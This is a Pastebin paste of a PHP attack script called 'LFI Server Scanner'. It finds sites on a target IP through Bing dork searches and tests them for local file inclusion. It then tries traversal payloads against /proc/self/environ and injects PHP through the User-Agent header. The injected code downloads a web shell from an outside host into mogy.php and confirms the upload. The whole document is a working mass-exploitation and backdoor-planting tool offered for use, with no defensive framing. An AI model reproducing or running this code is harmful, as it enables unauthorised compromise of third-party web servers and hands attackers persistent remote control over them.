inj3ctor_m4

LFI Server Scanner

Oct 10th, 2014
974
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.79 KB | None | 0 0
  1. <?php
  2. /*
  3.     Author = mogyhacker
  4.     Updated By INJ3CTOR_M4 ( Added Server Scanner , function lfi scanner )
  5. */
  6. @set_time_limit (0);
  7. error_reporting (0);
  8.  
  9. $ip = $argv[1];
  10. echo"\n\t\tScanning LFI From $ip\n\n";
  11.  
  12. $dorks = array('.php?action=', '.php?download=', '.php?file=', '.php?f=', '.php?page=', '.php?pg=', '.php?pagina=', '.php?lang=', '.php?language=');
  13. foreach($dorks as $dork){
  14.     foreach(Rev ("ip:$ip $dork") as $url){
  15.         $gt = lficurl ($url.'__dz__',"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3");
  16.         $searchme = "failed to open stream";
  17.         if(preg_match("/$searchme/i", $gt)){
  18.             echo "\n[+] $url >> Vulnerable !\r\n";
  19.            
  20.             $environs = array ('/proc/self/environ','../proc/self/environ','../../proc/self/environ','../../../proc/self/environ','../../../../proc/self/environ','../../../../../proc/self/environ','../../../../../../proc/self/environ','../../../../../../../proc/self/environ','../../../../../../../../proc/self/environ','../../../../../../../../../proc/self/environ','../../../../../../../../../../proc/self/environ','../../../../../../../../../../../proc/self/environ','../../../../../../../../../../../../proc/self/environ','../../../../../../../../../../../../../proc/self/environ','../../../../../../../../../../../../../../proc/self/environ','/proc/self/environ%00','../proc/self/environ%00','../../proc/self/environ%00','../../../proc/self/environ%00','../../../../proc/self/environ%00','../../../../../proc/self/environ%00','../../../../../../proc/self/environ%00','../../../../../../../proc/self/environ%00','../../../../../../../../proc/self/environ%00','../../../../../../../../../proc/self/environ%00','../../../../../../../../../../proc/self/environ%00','../../../../../../../../../../../proc/self/environ%00','../../../../../../../../../../../../proc/self/environ%00','../../../../../../../../../../../../../proc/self/environ%00','../../../../../../../../../../../../../../proc/self/environ%00');
  21.             foreach ($environs as $environ){
  22.                 $envs = lficurl ($url.$environ,"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3");
  23.                 if (preg_match("/HTTP_HOST/",$envs)){
  24.                     echo"\t[+] Environ Found!\r\n";
  25.                     lficurl ($url.$environ, "<?php file_put_contents('mogy.php',file_get_contents('http://ifiwon50million.com/wp-admin/upload.txt'));  ?>");
  26.                     $pathinfo = pathinfo($url);
  27.                     $shellpath = $pathinfo['dirname'].'/mogy.php';
  28.                     if (preg_match ("/By Mogy/",file_get_contents($shellpath))){
  29.                         echo"\tShell Uploaded: $shellpath\n\n";
  30.                     }else{
  31.                         echo"Environ Methode Don't Allowed\n\n";
  32.                     }
  33.                 }else{
  34.                     echo"\t[+] Environ Not Found!\n\n";
  35.                 }
  36.             }
  37.         }else{
  38.             echo"\n[+] $url >> Not Vulnerable!\r\n";
  39.         }
  40.     }
  41. }
  42.  
  43. function Rev ($dork)
  44. {
  45.     for($i = 1; $i <= 1000; $i += 10){
  46.         $gt = lficurl ("http://www.bing.com/search?q=".urlencode($dork)."&first=$i","msnbot/1.0 (+http://search.msn.com/msnbot.htm)");
  47.         $searchme  = '/<h2><a href="(.*?)" h="/';
  48.         preg_match_all($searchme, $gt, $matches);
  49.         foreach($matches[1] as $site){
  50.             $urls[] = _Fix($site);
  51.         }
  52.         if(!preg_match('#class="sb_pagN"#',$gt)) break;
  53.     }
  54.     if(!empty($urls) && is_array($urls)){
  55.         return array_unique($urls);
  56.     }
  57. }
  58.  
  59. function _Fix($site){ preg_match_all("#(.*?)?(.*?)=(.*?)#",$site,$res); return $res[2][0]."="; }
  60.  
  61. function lficurl ($url,$useragent)  
  62. {
  63.      $ch = curl_init();
  64.      curl_setopt ($ch, CURLOPT_URL, $url);
  65.      curl_setopt ($ch, CURLOPT_COOKIEFILE, getcwd().'/cookie.txt');
  66.      curl_setopt ($ch, CURLOPT_COOKIEJAR, getcwd().'/cookie.txt');
  67.      curl_setopt ($ch, CURLOPT_USERAGENT, $useragent);
  68.      curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  69.      curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  70.  
  71.      $result = curl_exec ($ch);
  72.      curl_close ($ch);
  73.      return $result;
  74. }
Advertisement
Add Comment
Please, Sign In to add comment